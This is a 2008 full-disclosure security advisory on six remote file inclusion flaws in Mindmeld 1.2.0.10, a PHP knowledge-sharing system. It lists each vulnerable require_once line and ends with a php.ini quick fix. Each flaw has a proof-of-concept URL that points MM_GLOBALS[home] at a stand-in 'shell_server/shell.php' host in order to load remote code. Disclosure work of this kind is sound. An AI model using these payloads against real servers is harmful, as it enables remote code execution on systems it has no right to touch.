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Message-Id: <F7DF9B40-BFCC-45FE-8FCC-3F02B19BD1F7@davidwharton.us>
Date: Thu, 31 Jan 2008 07:21:48 -0600
From: David Wharton <security@...idwharton.us>
To: full-disclosure@...ts.grok.org.uk
Subject: Multiple Remote File Inclusion Vulnerabilities in
Mindmeld version 1.2.0.10
Summary
Mindmeld is an, "enterprise-capable knowledge-sharing system" written
in PHP. There are multiple remote file inclusion vulnerabilities in
Mindmeld version 1.2.0.10 (latest version).
Details
1. Vulnerable File and Line:
Mindmeld-1.2.0.10/acweb/admin_index.php: line 51
require_once ( $MM_GLOBALS['home']."include/utilities.inc" );
PoC:
http://server/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=http://shell
_server/shell.php?
---
2. Vulnerable file and line:
Mindmeld-1.2.0.10/include/ask.inc.php: line 34
require_once ( $MM_GLOBALS['home'] . "interfaces
{$MM_GLOBALS['interface']}/include/" .
"interface_{$MM_GLOBALS['interface']}_ask.inc" );
PoC:
http://server/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=http://
shell_server/shell.php?php?
---
3. Vulnerable File and Line:
Mindmeld-1.2.0.10/include/learn.inc.php: line 38
require_once ( $MM_GLOBALS['home'] . "interfaces/
{$MM_GLOBALS['interface']}/include/"
PoC:
http://server/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=http://shell
_server/shell.php?
---
4. Vulnerable File and Line:
Mindmeld-1.2.0.10/include/manage.inc.php: line 31
require_once ( $MM_GLOBALS['home'] . "interfaces/
{$MM_GLOBALS['interface']}/include/"
PoC:
http://server/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=http://shell
_server/shell.php?
---
5. Vulnerable File and Line:
Mindmeld-1.2.0.10/include/mind.inc.php: line 33
require_once( $MM_GLOBALS['home'] . 'include/utilities.inc' );
PoC:
http://server/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=http://shell
_server/shell.php?
---
6. Vulnerable File and Line:
Mindmeld-1.2.0.10/include/sensory.inc.php: line 70
require_once ( $MM_GLOBALS['home'] . "include/utilities.inc" );
PoC:
http://server/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=http://shell
_server/shell.php?
---
It appears that these vulnerabilities are not vulnerable to local file
includes.
These vulnerabilities have been disclosed to the vendor although
development on this software has stopped.
Sources:
http://mindmeld.sourceforge.net/
Quick Fix:
In php.ini, disable the following variables: register_globals,
allow_url_fopen, and allow_url_include.
Credit:
David Wharton
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